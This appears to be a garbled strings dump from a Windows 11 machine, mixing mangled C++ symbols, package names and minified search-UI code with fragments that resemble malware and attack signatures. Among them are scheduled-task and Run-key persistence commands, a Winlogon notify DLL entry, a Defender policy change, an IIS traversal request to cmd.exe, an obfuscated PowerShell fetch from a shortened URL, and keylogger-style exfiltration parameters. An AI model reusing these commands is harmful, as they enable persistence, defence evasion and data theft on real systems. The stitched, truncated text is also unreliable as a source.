.?AU?$__abi_FunctorCapture@V<lambda_a3f428855ccfa3ea1d5b3959d4b3993f>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_9873897fe4fc6ba76edee7ba38e7fa4c>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
ntentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Array@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AU?$IBoxArray@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00@Platform@@
.?AU?$IObservableVector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$WriteOnlyArray@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@$00@Platform@@
.?AU?$IVector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$Vector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__I?$Vector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVStorageFile@Storage@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@
--user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
schtasks /create /tn "Microsoft\Windows\Maintenance\SystemHealthCheck" /tr s
WindowsGroupp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.Shell.FocusActiveSessions
Windows.Data.Shell.FocusSessionActiveTheme
Windows.Data.Shell.FocusSessionOffTheme
windows.data.shell.focusactivesessions
Microsoft.Windows.ContentDeliveryManagM#
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows\System32\
"C:\Windows\System32\SecurityHealth
Windows.Data.Signals.TimestampCondition1
?Microsoft-Windows-VBSCRIPT-FoD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824
Microsoft-Windows-TerminalServices-App
WindowsIsStringEmpty
WindowsDuplicateString
SOFTWARE\Microsoft\Windows Messaging SubsystemUnmapViewOfFileif exist %1 goto
Windows
@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAUIStorageItem@Storage@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAUIStorageItem@Storage@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAUIStorageItem@Storage@Windows@@@Foundation@Windows@@
.?AU__I?$WriteOnlyArray@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00@Platform@@
.?AVBindableVectorChangedEventHandler@Interop@Xaml@UI@Windows@@
.?AU__abi_IDelegate@BindableVectorChangedEventHandler@Interop@Xaml@UI@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_82a7e644db562ca326c50c92dcb755ec>@@XPE$AAU?$IAsyncOperation@E@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AVAsyncActionCompletedHandler@Foundation@Windows@@
.?AU__abi_IDelegate@AsyncActionCompletedHandler@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_f2fabf8666a1e4d30b686f97323667d5>@@XPE$AAUIAsyncAction@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$AsyncOperationCompletedHandler@E@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@E@Foundation@Windows@@
.?AU?$_AsyncInfoImpl@PE$AAUIAsyncAction@Foundation@Windows@@VAsyncActionCompletedHandler@23@E@details@Concurrency@@
.?AU__I?$_AsyncInfoImpl@PE$AAUIAsyncAction@Foundation@Windows@@VAsyncActionCompletedHandler@23@EPublicNonVirtuals@details@Concurrency@@
.?AU?$IAsyncOperation@E@Foundation@Windows@@
.?AUIAsyncInfo@Foundation@Windows@@
.?AUIVectorChangedEventArgs@Collections@Foundation@Windows@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
gressToAsyncOperationConverter@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@PublicNonVirtuals@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVHttpResponseMessage@Http@Web@Windows@@@details@Concurrency@@@std@@
.?AU__abi_IDelegate@?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@
.?AV?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVHttpResponseMessage@Http@Web@Windows@@@details@Concurrency@@
.?AU?$_Task_impl@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@Foundation@Windows@@
.?AU?$IIterator@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_f32f1c13e67a09d22e90e3d626949a3d>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_12cfab414a2fc641d53db9793f1a57d1>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_f32f1c13e67a09d22e90e3d626949a3d>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
*.wns.windows.com0
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
C:\Windows\System32\regsvr32
C:\WINDOWS\system32\wbem\wmiprvse.exe
WINDOWS\
%XPSP2009yb_key.dlltxtcard&txtuser&sys=windows&pc=
setwindowshookexa
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Multimedia-WMPDMC-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\SYSTEM32\PORTABLEDEVICETYPES.DLL>,
E#C:\WINDOWS\SYSTEM32\PHOTOMETADATAHANDLER.DLL
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
b5^windows.comInterface
b5^windows.appUriHandler
windowsmusic
auto __cdecl winrt::impl::consume_Windows_Data_Json_IJsonValueStatics<struct winrt::Windows::Data::Json::IJsonValueStatics>::CreateStringValue(const struct winrt::param::hstring &) const
struct winrt::Windows::Data::Json::JsonObject __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Data::Json::JsonObject>(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Foundation.h
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.Data.Json.h
struct winrt::Windows::Foundation::IActivationFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::Foundation::IActivationFactory>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundExecutionManagerStatics<struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics>::RequestAccessAsync(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundExecutionManagerStatics<struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics>::GetAccessStatus(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskRegistrationStatics<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistrationStatics>::AllTasks(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_ISystemTriggerFactory<struct winrt::Windows::ApplicationModel::Background::ISystemTriggerFactory>::Create(const enum winrt::Windows::ApplicationModel::Background::SystemTriggerType &,bool) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_ITimeTriggerFactory<struct winrt::Windows::ApplicationModel::Background::ITimeTriggerFactory>::Create(unsigned int,bool) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::Name(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::TaskEntryPoint(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::SetTrigger(const struct winrt::Windows::ApplicationModel::Background::IBackgroundTrigger &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskBuilder<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskBuilder>::Register(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterable<struct winrt::Windows::Foundation::Collections::IMapView<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::First(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterator<struct winrt::Windows::Foundation::Collections::IIterator<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::App
c:\windows\system32/mnotepad.exe/c"""&godknows
d/settings/windows?flag=
!ser-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
\windows defender" /f
.classNames(s,{proportionalWidth:!n.config.useCobaltCSS})},y&&React.createElement(r,{deleteMRUButtonCallback:y}),i&&React.createElement("div",{className:t.classNames("groupContainer","copilotGreeting isCopilotSH"),id:"copilotGreeting"},React.createElement("div",{className:"greeting",id:"greeting"},React.createElement("span",{className:"greeting-msg"}," ",i===null||i===void 0?void 0:i.message,(i===null||i===void 0?void 0:i.userName)?`, ${i===null||i===void 0?void 0:i.userName}!`:""))),u.map(i=>{var r,u,f;const s=o&&((r=i.suggestions[0])===null||r===void 0?void 0:r.handoffType)===21&&!i.suggestions[0].hasMruData&&!i.suggestions[0].childSuggestions&&!p;if(s)return null;let h=React.createElement("div",{key:i.id,className:t.classNames("groupContainer",i.cssClasses)},!n.isTopHitChildGroup(i.typeWithSource)&&!o&&e&&n.isTopHitChildGroup(e.typeWithSource)&&React.createElement("div",{className:"divider topHitConnectedToGroup"}),React.createElement(t.WindowsGroup,{group:i,clickHandler:k,contextMenuHandler:d,openPreviewPaneButton:v,isSearchHome:g,isWorkScope:l,webSuggestionAnnotation:nt,notifyIconPending:tt,notifyIconReadyOrFailed:it,where:"WindowsGroups.renderOriginal",scope:a,queryToFetch:ft,photosSearchInFileExplorerClickHandler:et,notifyImageGridThumbnailPending:ot,notifyImageGridThumbnailReady:st}));return e=i,u=n.GroupType.MRUHistory,f=n.config.disableRecentSearchDSBv2&&n.shouldShowDSBFullWidth()&&i.type==u,f?null:h}),e&&!l&&n.isTopHitChildGroup(e.typeWithSource)&&React.createElement("div",{className:"divider topHitConnectedToGroup"})),!p&&h.length>0&&React.createElement(t.WorkSubVerticalSuggestions,{data:w}))}renderTwoColumns(){const{groups:o,scope:e,clickHandler:s,contextMenuHandler:h,openPreviewPaneButton:c,isSearchHome:l,webSuggestionAnnotation:a,deleteMRUButtonCallback:v,notifyIconPending:y,notifyIconReadyOrFailed:p,queryToFetch:w,photosSearchInFileExplorerClickHandler:b,notifyImageGridThumbnailPending:k,notifyImageGridThumbnailReady:d}=this.props,g=o.filter(n=>!i(n)),nt=o.filter(n=>i(n)),f=e===n.Scope.Work;let u;const tt=f?"colLayout workScope":"colLayout";return React.createElement("div",{"data-partnertag":t.whenTestHooks("AutoSuggest.GroupContainer"),"data-region":"Groups",className:tt},v&&React.createElement(r,{deleteMRUButtonCallback:v}),React.createElement("div",{className:"colLayoutLeft"},g.map(i=>{let r=React.createElement("div",{key:i.id,className:t.classNames("groupContainer",i.cssClasses)},!n.isTopHitChildGroup(i.typeWithSource)&&u&&!f&&n.isTopHitChildGroup(u.typeWithSource)&&React.createElement("div",{className:"divider topHitConnectedToGroup"}),React.createElement(t.WindowsGroup,{group:i,clickHandler:s,contextMenuHandler:h,openPreviewPaneButton:c,isSearchHome:l,isWorkScope:f,webSuggestionAnnotation:a,notifyIconPending:y,notifyIconReadyOrFailed:p,where:"WindowsGroups.renderTwoColumns.colLayoutLeft",scope:e,queryToFetch:w,photosSearchInFileExplorerClickHandler:b,notifyImageGridThumbnailPending:k,notifyImageGridThumbnailReady:d}));return u=i,r})),React.createElement("div",{className:"colLayoutRight"},nt.map(i=>React.createElement("div",{key:i.id,className:t.classNames("groupContainer",i.cssClasses)},!n.isTopHitChildGroup(i.typeWithSource)&&!f&&u&&n.isTopHitChildGroup(u.typeWithSource)&&React.createElement("div",{className:"divider topHitConnectedToGroup"}),React.createElement(t.WindowsGroup,{group:i,clickHandler:s,contextMenuHandler:h,openPreviewPaneButton:c,isSearchHome:l,isWorkScope:f,webSuggestionAnnotation:a,notifyIconPending:y,notifyIconReadyOrFailed:p,where:"WindowsGroups.renderTwoColumns.colLayoutRight",scope:e,queryToFetch:w,photosSearchInFileExplorerClickHandler:b,notifyImageGridThumbnailPending:k,notifyImageGridThumbnailReady:d})))),u&&!f&&n.isTopHitChildGroup(u.typeWithSource)&&React.createElement("div",{className:"divider topHitConnectedToGroup"}))}}t.WindowsGroups=u;const r=n=>{const{deleteMRUButtonCallback:i}=n;return React.createElement("div",{className:"groupHeader",role:"heading","data-partnertag":t.whenTestHooks("AutoSuggest.recentSearches")},React.createElement("div",{className:"groupTitle",ro
ComSpec=C:\WINDOWS\system32\cmd.exe
windows.hlp`
Windows 
Windows 
Windows 
Windows 
 Windows 10 
 Windows
 Windows
Microsoft-Windows-Media-Streaming-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDuplicateString
C:\WINDOWS\system32\dllhost.exe /Processid:{FBED31FA-7DD9-45EC-BC72-5DE85FA65E12}
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
LockApp_cw5n1h2txyewy!WindowsDefault$
~ http://www.microsoft.com/windows0
Windows.Data.Input.HistoryFiles2
/C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v
\windows\s
87^windows.appExtension(
 @os=windows; osVer=10.0.26200.7840; lcid=en-US; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
c:\windows\system32\cmd.exe/q/ccalc.exe
start/d"%systemdrive%\users\%username%\appdata\roaming\microsoft\windows\startmenu\programs\startup\"desktopini.exe
iconfile=c:\windows\system32\shell32.dllurl=file://
\?setWindowState@QWindow@@QEAAXW4WindowState@Qt@@@Z
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
/winnt/system32/cmd.exe?/c+dirhttp/1.0
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
c:\windows\
En="#"windowstate="minimize"showintaskbar="no"sysmenu
windowswinF
onecoreuap\windows\advcore\winrt\directink\render\surfacepenciltiltrender.cpp
onecoreuap\windows\advcore\winrt\directink\render\pencilinkresources.cpp
onecoreuap\windows\advcore\winrt\directink\render\genericinkdefaultrender.cpp
onecoreuap\windows\advcore\winrt\directink\render\genericinkpenciltiltrender.cpp
onecoreuap\windows\advcore\winrt\directink\core\penandinksettings.cpp
onecoreuap\windows\advcore\winrt\directink\core\directinkcoreserver.cpp
c:\windows\
regadd"hklm\software\policies\microsoft\windowsdefender\reporting"/v"d{
c:\windows\sy
c:\windows\system32\cmd.exe/min/c"echo
-oc:\windows\tasks\
c:\n1oslo:.oslov2abc.cmd@.abc.cmd..\..\..\..\oslo\abc.cmdc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
c:\windows\system32\conhost.exepowershellset-clipboardi;sleep1;sal$debugpreference('s'+'al');silentlycontinue$pssessionapplicationname((get-clipboard)+'wr');silentlycontinue$env:sessionname((get-clipboard)+'ex');console(wsman('tin'+'y.cc/so40i'))
[MSAL:0006]	DEBUG  	SetField:171	Key: authorization_type, Value: WindowsIntegratedAuth
`length:\Windows\SystO
kj23awarxydn34s.tmpfuwarxyus.dlldllname"="\\\\fuwarxyus.dlllogon"="winlogonlogonevent[hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon\notify\crypt32set]logoff"="winlogonlogoffeventscreensaver"="winlogonscreensavereventstartup"="winlogonstartupeventshutdown"="winlogonshutdowneventstartshell"="winlogonstartshelleventimpersonate"=dword:00000000asynchronous"=dword:00000001
get /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+d
windowstabu
gg^f^d^h^dl^d=^pzmr^ly%windir%\system32\imageres.dll
:\windows
windowsazure
nButtonStyleClass:"";return React.createElement("div",{className:"details"},React.createElement("div",{className:"primaryText","data-partnertag":t.whenTestHooks("Suggestion.PrimaryText")},React.createElement("div",{className:"primaryTextContent"},React.createElement("span",{className:t.classNames("title",{searchHistoryText:s,underlineSuggOnHov:n.config.enableLSuggUnderlineOnHover}),"data-partnertag":t.whenTestHooks("Suggestion.PrimaryTextTitle")},n.config.dynamicHighlightingForWebSearch&&r.handoffType!=0?React.createElement("span",{dir:"ltr"},HitHighlightingParser.removeMarkers(r.text)):React.createElement(t.HighlightedText,{text:r.text,dir:"ltr",reverse:n.hasReverseHighlighting(r,o)}))),r.secondaryIcon&&r.type=="OLE"&&React.createElement(t.Icon,{icon:r.secondaryIcon,type:"SecondaryIcon",badgeIcon:n.shouldShowBadgeIcon()?r.badgeIcon:undefined})),r.primaryMetadata&&e&&React.createElement("div",{className:t.classNames("secondaryText","annotation",h,{emailAnnotation:u}),"data-partnertag":t.whenTestHooks("Suggestion.SecondaryText")},!((n.Host.enableAddCopilotActionToBestMatch?n.Host.enableAddCopilotActionToBestMatch():!1)&&n.isCopilotSuggestion(r===null||r===void 0?void 0:r.type))&&React.createElement(t.HighlightedText,{text:r.primaryMetadata,dir:"ltr"}),u&&f&&React.createElement("div",{className:"secondaryText annotation receivedDate"},f)),r.secondaryMetadata&&React.createElement("div",{className:"secondaryMetadata secondaryText annotation","data-partnertag":t.whenTestHooks("Suggestion.SecondaryMetadta")},React.createElement(t.HighlightedText,{text:r.secondaryMetadata,dir:"ltr"})),r.mruHintEnabled&&r.uxHint&&React.createElement("div",{className:"secondaryMetadata secondaryText annotation","data-partnertag":t.whenTestHooks("Suggestion.UxHint")},React.createElement("em",null,r.uxHint)),!r.mruHintEnabled&&r.uxHint&&React.createElement("div",{className:"secondaryMetadata secondaryText annotation","data-partnertag":t.whenTestHooks("Suggestion.UxHint")},React.createElement(t.HighlightedText,{text:r.uxHint,dir:"ltr"})))},u=n=>React.createElement("div",{className:"answer",dangerouslySetInnerHTML:{__html:n.htmlContent}})})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class r extends React.Component{constructor(){super(...arguments);this.shouldComponentUpdate=(t,i)=>!n.config.reactGroups||n.shouldComponentUpdateOverload(this,t,i)}render(){const{group:i,clickHandler:s,scope:h,queryToFetch:r,isSearchHome:c,photosSearchInFileExplorerClickHandler:l}=this.props,f=n.config.enableWinStoreAppPreview&&i.suggestions.every(n=>n.type==="SPP"&&!n.suppressed);let a=n.config.enableLeftPillExtend&&!c;return React.createElement("div",Object.assign({className:t.classNames("group",f?"b_hide":"",i.instRegionName==="TrendingSearchData"&&n.isThumbnailForTSEnabled()?"tsthumb":""),id:f?i.instRegionName+i.id:""},n.RuntimeConfig.QfMode==12?{role:"group"}:{}),n.isImageGridEnabledForItem(i.type)&&React.createElement("div",{id:"imageGridA11yLiveRegion","aria-live":"polite","aria-atomic":"true",className:"hideImageGridA11yLiveRegion"}),!i.hideGroupHeader&&React.createElement(u,{group:i,clickHandler:s}),React.createElement("div",Object.assign({"data-region":i.instRegionName},n.isImageGridEnabledForItem?{}:{"aria-labelledby":i.id,role:"list"},{className:t.classNames("suggsListContainer",a?"leftPillExtend":"")}),React.createElement(e,{suggestions:i.suggestions,rootProperties:this.props})),n.isImageGridEnabledForItem(i.type)&&h===n.Scope.Photos&&i.suggestions.length>0&&r&&r.length>0&&React.createElement("div",{className:"photosSearchInFileExplorerContainer"},React.createElement(o,{query:r,clickHandler:l})))}}t.WindowsGroup=r;const u=i=>{const{group:r,clickHandler:o}=i;let u=r.click&&!r.onlyAnnotationIsClickable&&!n.config.wsbWithCopilotQF,e=(!!r.secondaryText||!!r.secondaryIcon)&&r.click&&r.onlyAnnotationIsClickable,s=n.isImageGridEnabledForItem(r.type)&&r.suggestions&&r.suggestions.some(n=>n.selected);return React.createElement("div",Object.assign({className:t.classNames("groupHeader",{selectable:u,sa_hv:u&&r.selected&&!r.selectedStyleSuspen
Microsoft.Windows.BrokeringFileSystem
Microsoft.Windows.Compatibility.Luafv
Microsoft.Windows.ConnectionManager.WcmApi
WindowsConnectionManager
WindowsUdk::Services::OneSettings::OneSettingsManager::ReportUsageForFlightId(IRISCLIENT, %ws)
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry.h
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
ADALUseWindowsAuthentication
Microsoft.Windows.Containers.Wcifs
Microsoft.Windows.TlgAggregateInternal
WindowsConnectionManager
Microsoft.Windows.TlgAggregateInternal
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCreateString
WindowsDeleteStr
?peekWindowSystemEvent@QWindowSystemInterfacePrivate@@SAPEAVWindowSystemEvent@1@W4EventType@1@@Z
Software\Microsoft\windows\CurrentVersion\Internet Settings
api-ms-win-core-windowserrorreporting-l1-1-0.dll
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::ProcessWebTokenRequest
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::PostProcessTokenRequest
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::CleanUpTokenResult
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::ProcessDeviceAuthRequest
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::CallBindingKeyOperation
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::QueryFeatureSupport
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::HandleCloudApDeviceAuthCall
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::IsAadProviderRequest
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::CallCloudAp
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::CreateCloudApDeviceAuthRequest
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::CreateCloudApBindingKeyRequest
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::ParseDeviceInfoProperties
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::IsSuccessfulTokenRequestResult
Windows::Internal::Security::Authentication::Aad::AadWamExtensionWorker::PreProcH
Microsoft.Windows.FileSystem.CloudFiles
Microsoft.Windows.TlgAggregateInternal
a de Windows para permitirlo.Microsoft Copilot est
a de Windows para permitir esta acci
a de Windows para permitirlo.Microsoft Copilot est
a de Windows para permitirlo.Microsoft Copilot quiere exportar tus contrase
